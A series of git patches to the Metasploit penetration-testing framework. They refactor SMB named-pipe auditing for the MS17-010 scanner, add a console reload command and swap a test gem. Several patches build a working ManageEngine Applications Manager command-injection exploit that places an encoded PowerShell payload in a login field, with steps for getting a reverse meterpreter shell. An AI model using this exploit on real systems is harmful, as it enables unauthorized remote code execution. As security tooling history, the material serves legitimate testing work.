Msf::Exploit::Remote::HTTP::Joomla def initialize(info={}) super(update_info(info, @@ -45,11 +46,6 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'May 17 2017', 'DefaultTarget' => 0)) - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path to Joomla', '/']) - ]) - end def check From 6e9a4916f53711d74f59fb931ce6d9f0679244f6 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Tue, 13 Mar 2018 00:23:18 +0530 Subject: [PATCH 054/105] scanner update --- .../{namedpipes.txt => named_pipes.txt} | 0 lib/msf/core/auxiliary/mixins.rb | 1 + lib/msf/core/exploit/smb/client/pipeaudit.rb | 16 ++++---- .../exploit/smb/client/psexec_ms17_010.rb | 4 +- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 39 ++----------------- 5 files changed, 13 insertions(+), 47 deletions(-) rename data/wordlists/{namedpipes.txt => named_pipes.txt} (100%) diff --git a/data/wordlists/namedpipes.txt b/data/wordlists/named_pipes.txt similarity index 100% rename from data/wordlists/namedpipes.txt rename to data/wordlists/named_pipes.txt diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 573784ae6f..a74c79fc18 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -32,6 +32,7 @@ require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/redis' require 'msf/core/auxiliary/sms' require 'msf/core/auxiliary/mms' + # # Custom HTTP modules # diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index 1567070122..40d751322b 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -8,14 +8,13 @@ module Exploit::Remote::SMB::Client::PipeAudit register_options( [ OptPath.new('NAMED_PIPES_FILE', [ true, "List of known named pipes", - File.join(Msf::Config.data_directory, "wordlists", "namedpipes.txt")]), + File.join(Msf::Config.data_directory, "wordlists", "named_pipes.txt")]), ]) end def connect_to_pipe() accessible_pipes||=[] - a_pipe_handles||=[] - target_pipes = [] + pipe_handles||=[] pipe_file = datastore['NAMED_PIPES_FILE'] if (!pipe_file) print_error("File with named pipes is needed") @@ -27,15 +26,14 @@ module Exploit::Remote::SMB::Client::PipeAudit vprint_status("Using pipe #{pipe_name}") pipe_handle = self.simple.create_pipe(pipe_name, 'o') print_good("Accessible pipe found: #{pipe_name}") - pipe_found = 1 - ret_pipe = pipe_name + pipe_found = true accessible_pipes << pipe_name + pipe_handles << pipe_handle rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_status("Inaccessible named pipe #{pipe_name} - #{e.message}") + vprint_status("Inaccessible named pipe #{pipe_name} - #{e.message}") end - if pipe_found == 1 - vprint_status("Returning #{ret_pipe} with handle #{pipe_handle.to_s}to exploit") - return ret_pipe, pipe_handle + if (pipe_found) + return accessible_pipes, pipe_handles end end end diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index f5b61b77e4..87c00aec38 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -335,8 +335,8 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 def find_accessible_named_pipe() pipe_name, pipe_handle = connect_to_pipe() - @ctx['pipe_name'] = pipe_name - return pipe_handle + @ctx['pipe_name'] = pipe_name[0] + return pipe_handle[0] end diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index eb416fb0c1..f8f9bd0b50 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -5,6 +5,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Client::PipeAudit include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::SMB::Client::Authenticated @@ -90,42 +91,8 @@ class MetasploitModule < Msf::Auxiliary end print_good("Host is likely VULNERABLE to MS17-010! - #{os}") - # Detect accessible named pipes - vprint_status("Checking for accessible named pipes") - target_pipes = [ - 'netlogon', - 'lsarpc', - 'samr', - 'browser', - 'atsvc', - 'DAV RPC SERVICE', - 'epmapper', - 'eventlog', - 'InitShutdown', - 'keysvc', - 'lsass', - 'LSM_API_service', - 'ntsvcs', - 'plugplay', - 'protected_storage', - 'router', - 'SapiServerPipeS-1-5-5-0-70123', - 'scerpc', - 'srvsvc', - 'tapsrv', - 'trkwks', - 'W32TIME_ALT', - 'wkssvc', - 'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', - 'db2remotecmd' - ] - accessible_pipes||=[] - target_pipes.each do |pipe| - pipe_name = "#{pipe}" - pipe_handle = self.simple.create_pipe(pipe_name, 'o') - accessible_pipes << pipe - end - p_pipes = "" + accessible_pipes , pipe_handlers = connect_to_pipe() + p_pipes = "" if accessible_pipes.count != 0 accessible_pipes.each do |a_pipe| p_pipes += ", #{a_pipe}" From 2c52498d4a74b7de040a1483f2f7253f58c5ba0f Mon Sep 17 00:00:00 2001 From: Auxilus Date: Tue, 13 Mar 2018 00:28:37 +0530 Subject: [PATCH 055/105] Update smb_ms17_010.rb --- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index f8f9bd0b50..d431b69438 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -92,14 +92,14 @@ class MetasploitModule < Msf::Auxiliary print_good("Host is likely VULNERABLE to MS17-010! - #{os}") accessible_pipes , pipe_handlers = connect_to_pipe() - p_pipes = "" - if accessible_pipes.count != 0 - accessible_pipes.each do |a_pipe| - p_pipes += ", #{a_pipe}" - end - print_good("Following accessible named pipe(s) found: #{p_pipes}") + p_pipes = "" + if accessible_pipes.count != 0 + accessible_pipes.each do |a_pipe| + p_pipes += ", #{a_pipe}" + end + print_good("Following accessible named pipe(s) found: #{p_pipes}") else - print_status("No accessible named pipes found on the target") + print_status("No accessible named pipes found on the target") end report_vuln( host: ip, From ef515d256d649285f2178ecd1a476c294e18fd20 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Tue, 13 Mar 2018 00:34:25 +0530 Subject: [PATCH 056/105] msftidy fixes --- lib/msf/core/exploit/smb/client/pipeaudit.rb | 18 +++++++++--------- modules/auxiliary/scanner/smb/smb_ms17_010.rb | 2 +- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index 40d751322b..46582be0d8 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -5,7 +5,7 @@ module Exploit::Remote::SMB::Client::PipeAudit def initialize(info = {}) super - register_options( + register_options( [ OptPath.new('NAMED_PIPES_FILE', [ true, "List of known named pipes", File.join(Msf::Config.data_directory, "wordlists", "named_pipes.txt")]), @@ -15,25 +15,25 @@ module Exploit::Remote::SMB::Client::PipeAudit def connect_to_pipe() accessible_pipes||=[] pipe_handles||=[] - pipe_file = datastore['NAMED_PIPES_FILE'] - if (!pipe_file) + pipe_file = datastore['NAMED_PIPES_FILE'] + if (!pipe_file) print_error("File with named pipes is needed") end p_file = File.open(pipe_file).read p_file.each_line do |pipe| begin - pipe_name = "#{pipe.to_s.split("\n")[0]}" - vprint_status("Using pipe #{pipe_name}") + pipe_name = "#{pipe.to_s.split("\n")[0]}" + vprint_status("Using pipe #{pipe_name}") pipe_handle = self.simple.create_pipe(pipe_name, 'o') print_good("Accessible pipe found: #{pipe_name}") - pipe_found = true - accessible_pipes << pipe_name - pipe_handles << pipe_handle + pipe_found = true + accessible_pipes << pipe_name + pipe_handles << pipe_handle rescue Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_status("Inaccessible named pipe #{pipe_name} - #{e.message}") end if (pipe_found) - return accessible_pipes, pipe_handles + return accessible_pipes, pipe_handles end end end diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb index d431b69438..0553db88a7 100644 --- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb +++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb @@ -93,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary print_good("Host is likely VULNERABLE to MS17-010! - #{os}") accessible_pipes , pipe_handlers = connect_to_pipe() p_pipes = "" - if accessible_pipes.count != 0 + if accessible_pipes.count != 0 accessible_pipes.each do |a_pipe| p_pipes += ", #{a_pipe}" end From 131ad690837d6c4bde73b6943659a89187bb3558 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Tue, 13 Mar 2018 01:32:17 +0530 Subject: [PATCH 057/105] return array from connect_to_pipe --- lib/msf/core/exploit/smb/client/pipeaudit.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index 46582be0d8..83ad351328 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -32,9 +32,9 @@ module Exploit::Remote::SMB::Client::PipeAudit rescue Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_status("Inaccessible named pipe #{pipe_name} - #{e.message}") end - if (pipe_found) - return accessible_pipes, pipe_handles - end + end + if (pipe_found) + return accessible_pipes, pipe_handles end end end From 9a9e9ead51909c1fb87b30cc8718e3515cdbd06a Mon Sep 17 00:00:00 2001 From: Auxilus Date: Tue, 13 Mar 2018 01:34:26 +0530 Subject: [PATCH 058/105] msftidy fixes --- lib/msf/core/exploit/smb/client/pipeaudit.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index 83ad351328..b425479bf9 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -33,7 +33,7 @@ module Exploit::Remote::SMB::Client::PipeAudit vprint_status("Inaccessible named pipe #{pipe_name} - #{e.message}") end end - if (pipe_found) + if (pipe_found) return accessible_pipes, pipe_handles end end From b22c606b9a43cbc8598ba4cfee6572c8272edf5e Mon Sep 17 00:00:00 2001 From: Auxilus Date: Tue, 13 Mar 2018 01:39:47 +0530 Subject: [PATCH 059/105] msftidy fixes --- lib/msf/core/exploit/smb/client/pipeaudit.rb | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/smb/client/pipeaudit.rb b/lib/msf/core/exploit/smb/client/pipeaudit.rb index b425479bf9..687373b729 100644 --- a/lib/msf/core/exploit/smb/client/pipeaudit.rb +++ b/lib/msf/core/exploit/smb/client/pipeaudit.rb @@ -25,17 +25,13 @@ module Exploit::Remote::SMB::Client::PipeAudit pipe_name = "#{pipe.to_s.split("\n")[0]}" vprint_status("Using pipe #{pipe_name}") pipe_handle = self.simple.create_pipe(pipe_name, 'o') - print_good("Accessible pipe found: #{pipe_name}") - pipe_found = true + vprint_good("Accessible pipe found: #{pipe_name}") accessible_pipes << pipe_name pipe_handles << pipe_handle rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_status("Inaccessible named pipe #{pipe_name} - #{e.message}") end end - if (pipe_found) - return accessible_pipes, pipe_handles - end + return accessible_pipes, pipe_handles end end end From 2fd9b0b77bd5681d347046c93f28b056635d9285 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Tue, 13 Mar 2018 01:40:01 +0300 Subject: [PATCH 060/105] Fixing rubocop errors --- .../http/manageengine_appmanager_exec.rb | 20 +++++++++---------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/http/manageengine_appmanager_exec.rb b/modules/exploits/windows/http/manageengine_appmanager_exec.rb index 2012d4d706..d500a85dc2 100644 --- a/modules/exploits/windows/http/manageengine_appmanager_exec.rb +++ b/modules/exploits/windows/http/manageengine_appmanager_exec.rb @@ -9,17 +9,17 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell - def initialize(info={}) + def initialize(info = {}) super(update_info(info, 'Name' => "ManageEngine Applications Manager Remote Code Execution", - 'Description' => %q{ + 'Description' => %q( This module exploits command injection vulnerability in the ManageEngine Application Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer. - }, + ), 'License' => MSF_LICENSE, 'Author' => [ @@ -40,8 +40,8 @@ class MetasploitModule < Msf::Exploit::Remote 'BadChars' => "\x22" }, 'Platform' => ['win'], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Targets' => [ ['Automatic', {}] ], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], 'Privileged' => true, 'DisclosureDate' => 'Mar 7 2018', 'DefaultTarget' => 0 @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote end def check - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'testCredential.do'), 'vars_post' => { @@ -74,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Password' => Rex::Text.rand_text_alpha(3), 'UserName' => Rex::Text.rand_text_alpha(3) } - }) + ) if res && res.body.include?('Kindly check the credentials and try again') Exploit::CheckCode::Vulnerable else @@ -83,7 +83,6 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - powershell_options = { encode_final_payload: true, remove_comspec: true @@ -92,7 +91,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Triggering the vulnerability') - send_request_cgi({ + send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'testCredential.do'), 'vars_post' => { @@ -111,7 +110,6 @@ class MetasploitModule < Msf::Exploit::Remote 'Password' => Rex::Text.rand_text_alpha(3), 'UserName' => "$(#{p})" } - }) - + ) end end From ec10a82c56e01c92983c6b8d6857221986aab32c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Tue, 13 Mar 2018 09:44:13 +0300 Subject: [PATCH 061/105] Make the rubocop happy --- .../exploits/windows/http/manageengine_appmanager_exec.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/manageengine_appmanager_exec.rb b/modules/exploits/windows/http/manageengine_appmanager_exec.rb index d500a85dc2..0f5b925f57 100644 --- a/modules/exploits/windows/http/manageengine_appmanager_exec.rb +++ b/modules/exploits/windows/http/manageengine_appmanager_exec.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ['CVE', '2018-7890'], ['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'] ], - 'DefaultOptions' => + 'DefaultOptions' => { 'WfsDelay' => 10, 'RPORT' => 9090 @@ -44,8 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [['Automatic', {}]], 'Privileged' => true, 'DisclosureDate' => 'Mar 7 2018', - 'DefaultTarget' => 0 - )) + 'DefaultTarget' => 0)) register_options( [ From 889c914b3dbede621ad3b55572b908f22e79be62 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Tue, 13 Mar 2018 12:05:27 +0300 Subject: [PATCH 062/105] Updating documentation and minor code changes --- .../http/manageengine_appmanager_exec.md | 8 ++--- .../http/manageengine_appmanager_exec.rb | 30 +++++-------------- 2 files changed, 11 insertions(+), 27 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md index d18d5ceda4..dd6c219ed9 100644 --- a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md +++ b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md @@ -11,15 +11,15 @@ Go to following website and download Windows version of the product. It comes wi A successful check of the exploit will look like this: - [ ] Start `msfconsole` -- [ ] `use exploit/linux/http/securityonion_xplico_exec` -- [ ] Set `RHOST` +- [ ] `use exploit/windows/http/manageengine_appmanager_exec` +- [ ] Set `RHOST ` - [ ] Set `PAYLOAD windows/meterpreter/reverse_tcp` -- [ ] Set `LHOST` +- [ ] Set `LHOST ` - [ ] Run `check` - [ ] **Verify** that you are seeing `The target is vulnerable.` in console. - [ ] Run `exploit` - [ ] **Verify** that you are seeing `Triggering the vulnerability` in console. -- [ ] **Verify** that you are seeing `Sending stage (179779 bytes) to ` in console. +- [ ] **Verify** that you are seeing `Sending stage to ` in console. - [ ] **Verify** that you have your shell. ## Scenarios diff --git a/modules/exploits/windows/http/manageengine_appmanager_exec.rb b/modules/exploits/windows/http/manageengine_appmanager_exec.rb index 0f5b925f57..f0808a3fd1 100644 --- a/modules/exploits/windows/http/manageengine_appmanager_exec.rb +++ b/modules/exploits/windows/http/manageengine_appmanager_exec.rb @@ -54,26 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote end def check - res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'testCredential.do'), - 'vars_post' => { - 'method' => 'testCredentialForConfMonitors', - 'type' => 'OfficeSharePointServer', - 'montype' => 'OfficeSharePointServer', - 'isAgentEnabled' => 'NO', - 'isAgentAssociated' => 'false', - 'displayname' => Rex::Text.rand_text_alpha(10), - 'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems... - 'Version' => '2013', - 'Powershell' => 'True', # :-) - 'CredSSP' => 'False', - 'SPType' => 'SPServer', - 'CredentialDetails' => 'nocm', - 'Password' => Rex::Text.rand_text_alpha(3), - 'UserName' => Rex::Text.rand_text_alpha(3) - } - ) + res = trigger_endpoint(Rex::Text.rand_text_alpha(3)) if res && res.body.include?('Kindly check the credentials and try again') Exploit::CheckCode::Vulnerable else @@ -90,6 +71,10 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Triggering the vulnerability') + trigger_endpoint("$(#{p})") + end + + def trigger_endpoint(username) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'testCredential.do'), @@ -99,15 +84,14 @@ class MetasploitModule < Msf::Exploit::Remote 'montype' => 'OfficeSharePointServer', 'isAgentEnabled' => 'NO', 'isAgentAssociated' => 'false', - 'displayname' => Rex::Text.rand_text_alpha(10), + 'displayname' => Rex::Text.rand_text_alpha(rand(10..15)), 'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems... - 'Version' => '2013', 'Powershell' => 'True', # :-) 'CredSSP' => 'False', 'SPType' => 'SPServer', 'CredentialDetails' => 'nocm', 'Password' => Rex::Text.rand_text_alpha(3), - 'UserName' => "$(#{p})" + 'UserName' => username } ) end From b7f95b9cbe6e82a6c10eb990038642aada99677c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Tue, 13 Mar 2018 14:03:44 +0300 Subject: [PATCH 063/105] Add a loadlib command --- .../ui/console/command_dispatcher/modules.rb | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 21f026a154..d52cdeccb3 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -38,6 +38,7 @@ module Msf "search" => "Searches module names and descriptions", "show" => "Displays modules of a given type, or all modules", "use" => "Selects a module by name", + "loadlib" => "Load a library file from specified path", } end @@ -64,6 +65,40 @@ module Msf framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') end + def cmd_loadlib_help + print_line 'Usage: loadlib [lib/to/load.rb]' + print_line + print_line 'Load a library from specified path' + end + + # + # Load a library file from given path + # + + def cmd_loadlib(*args) + if args.length > 0 + path = args[0] + end + if args.include?('-h') || args.include?('--help') + cmd_loadlib_help + return + end + if path.nil? + print_error('Nothing to load.') + return + end + if path.end_with?('.rb') + print_status("Reloading #{path}") + load path + else + print_error('Only library files can be loaded.') + end + end + + def cmd_loadlib_tabs(str, words) + tab_complete_filenames(str, words) + end + def cmd_edit_help print_line "Usage: edit [file/to/edit.rb]" print_line From 9b84477ddc5d5d36736dbfe9c60af96a8ca74dd6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Tue, 13 Mar 2018 22:17:59 +0300 Subject: [PATCH 064/105] Changing cmd name to reload_lib --- lib/msf/ui/console/command_dispatcher/modules.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index d52cdeccb3..cf6f59ef5a 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -38,7 +38,7 @@ module Msf "search" => "Searches module names and descriptions", "show" => "Displays modules of a given type, or all modules", "use" => "Selects a module by name", - "loadlib" => "Load a library file from specified path", + "reload_lib" => "Load a library file from specified path", } end @@ -65,8 +65,8 @@ module Msf framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') end - def cmd_loadlib_help - print_line 'Usage: loadlib [lib/to/load.rb]' + def cmd_reload_lib_help + print_line 'Usage: reload_lib [lib/to/load.rb]' print_line print_line 'Load a library from specified path' end @@ -75,12 +75,12 @@ module Msf # Load a library file from given path # - def cmd_loadlib(*args) + def cmd_reload_lib(*args) if args.length > 0 path = args[0] end if args.include?('-h') || args.include?('--help') - cmd_loadlib_help + cmd_reload_lib_help return end if path.nil? @@ -95,7 +95,7 @@ module Msf end end - def cmd_loadlib_tabs(str, words) + def cmd_reload_lib_tabs(str, words) tab_complete_filenames(str, words) end From 6811097bed9e12d5e2b8481183ffe2d6acc9c47a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Wed, 14 Mar 2018 11:47:23 +0300 Subject: [PATCH 065/105] Create reload_file method for edit and reload_lib cms --- .../ui/console/command_dispatcher/modules.rb | 23 +++++++++---------- 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index cf6f59ef5a..7c82c1314b 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -65,6 +65,15 @@ module Msf framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') end + def reload_file(path, err_msg = 'Only library files can be loaded.') + if path.end_with?('.rb') + print_status("Reloading #{path}") + load path + else + print_error(err_msg) + end + end + def cmd_reload_lib_help print_line 'Usage: reload_lib [lib/to/load.rb]' print_line @@ -87,12 +96,7 @@ module Msf print_error('Nothing to load.') return end - if path.end_with?('.rb') - print_status("Reloading #{path}") - load path - else - print_error('Only library files can be loaded.') - end + reload_file(path) end def cmd_reload_lib_tabs(str, words) @@ -139,12 +143,7 @@ module Msf return if editing_module # XXX: This will try to reload *any* .rb and break on modules - if path.end_with?('.rb') - print_status("Reloading #{path}") - load path - else - print_error('Only library files can be reloaded after editing.') - end + reload_file(path) end # From b55a750fa9d73cf63c61b9b92e7cb4bd0479ff16 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Wed, 14 Mar 2018 11:51:21 +0300 Subject: [PATCH 066/105] Fix typo and couple tiny nitpicks --- .../exploit/windows/http/manageengine_appmanager_exec.md | 2 +- modules/exploits/windows/http/manageengine_appmanager_exec.rb | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md index dd6c219ed9..45074179b5 100644 --- a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md +++ b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md @@ -1,5 +1,5 @@ ## Vulnerable Application -This module exploits command injection vulnerability in the ManageEngine Application Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer. +This module exploits command injection vulnerability in the ManageEngine Applications Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer. **Vulnerable Application Installation Steps** diff --git a/modules/exploits/windows/http/manageengine_appmanager_exec.rb b/modules/exploits/windows/http/manageengine_appmanager_exec.rb index f0808a3fd1..dcbbbec2aa 100644 --- a/modules/exploits/windows/http/manageengine_appmanager_exec.rb +++ b/modules/exploits/windows/http/manageengine_appmanager_exec.rb @@ -28,7 +28,9 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ ['CVE', '2018-7890'], - ['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'] + ['BID', '103358'], + ['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'], + ['URL', 'https://pitstop.manageengine.com/portal/community/topic/security-vulnerability-issues-fixed-upgrade-to-the-latest-version-of-applications-manager'] ], 'DefaultOptions' => { From 53eabfc1df43fa289bc800c697900dd43ee62ef4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Mon, 19 Mar 2018 23:27:18 +0300 Subject: [PATCH 067/105] Update documentation and add check before exploit --- .../exploit/windows/http/manageengine_appmanager_exec.md | 2 +- modules/exploits/windows/http/manageengine_appmanager_exec.rb | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md index 45074179b5..2ed4e8766a 100644 --- a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md +++ b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md @@ -4,7 +4,7 @@ This module exploits command injection vulnerability in the ManageEngine Applica **Vulnerable Application Installation Steps** Go to following website and download Windows version of the product. It comes with built-in Java and Postgresql so you don't need to install anything else. -[https://www.manageengine.com/products/applications_manager/download.html](https://www.manageengine.com/products/applications_manager/download.html) +[http://archives.manageengine.com/applications_manager/13630/](http://archives.manageengine.com/applications_manager/13630/) ## Verification Steps diff --git a/modules/exploits/windows/http/manageengine_appmanager_exec.rb b/modules/exploits/windows/http/manageengine_appmanager_exec.rb index dcbbbec2aa..802641e369 100644 --- a/modules/exploits/windows/http/manageengine_appmanager_exec.rb +++ b/modules/exploits/windows/http/manageengine_appmanager_exec.rb @@ -65,6 +65,8 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') unless check == Exploit::CheckCode::Vulnerable + powershell_options = { encode_final_payload: true, remove_comspec: true From 7d873ea7ab47367be0fc363ff0b7fa5a5c7244dd Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 21 Mar 2018 23:21:37 +0100 Subject: [PATCH 068/105] replace factory_girls with factory_bot fixes #9736 --- Gemfile | 2 +- Gemfile.lock | 8 +- LICENSE_GEMS | 149 +++++++++--------- spec/factories/mdm/exported_web_vulns.rb | 2 +- spec/factories/mdm/module_details.rb | 2 +- .../metasploit/framework/jtr/wordlist_spec.rb | 6 +- spec/lib/msf/core/auxiliary/cisco_spec.rb | 14 +- spec/lib/msf/core/exploit/auto_target_spec.rb | 18 +-- spec/lib/msf/core/module_set_spec.rb | 4 +- spec/lib/msf/db_manager/export_spec.rb | 4 +- .../console/command_dispatcher/creds_spec.rb | 94 +++++------ .../ui/console/command_dispatcher/db_spec.rb | 16 +- .../examples/credential/core/to_credential.rb | 2 +- .../msf/db_manager/exploit_attempt.rb | 34 ++-- .../import/metasploit_framework/xml.rb | 16 +- .../examples/msf/db_manager/module_cache.rb | 62 ++++---- ..._name_or_mdm_module_target_name_keyword.rb | 4 +- .../mdm_module_ref_name_keyword.rb | 4 +- .../shared/examples/msf/db_manager/session.rb | 24 +-- .../examples/msf/module_manager/cache.rb | 2 +- 20 files changed, 236 insertions(+), 231 deletions(-) diff --git a/Gemfile b/Gemfile index 2b48e2087f..1d9de9700d 100755 --- a/Gemfile +++ b/Gemfile @@ -35,7 +35,7 @@ end group :development, :test do # automatically include factories from spec/factories - gem 'factory_girl_rails' + gem 'factory_bot_rails' # Make rspec output shorter and more useful gem 'fivemat' # running documentation generation tasks and rspec tasks diff --git a/Gemfile.lock b/Gemfile.lock index 9397d24518..8875054caf 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -118,10 +118,10 @@ GEM dnsruby 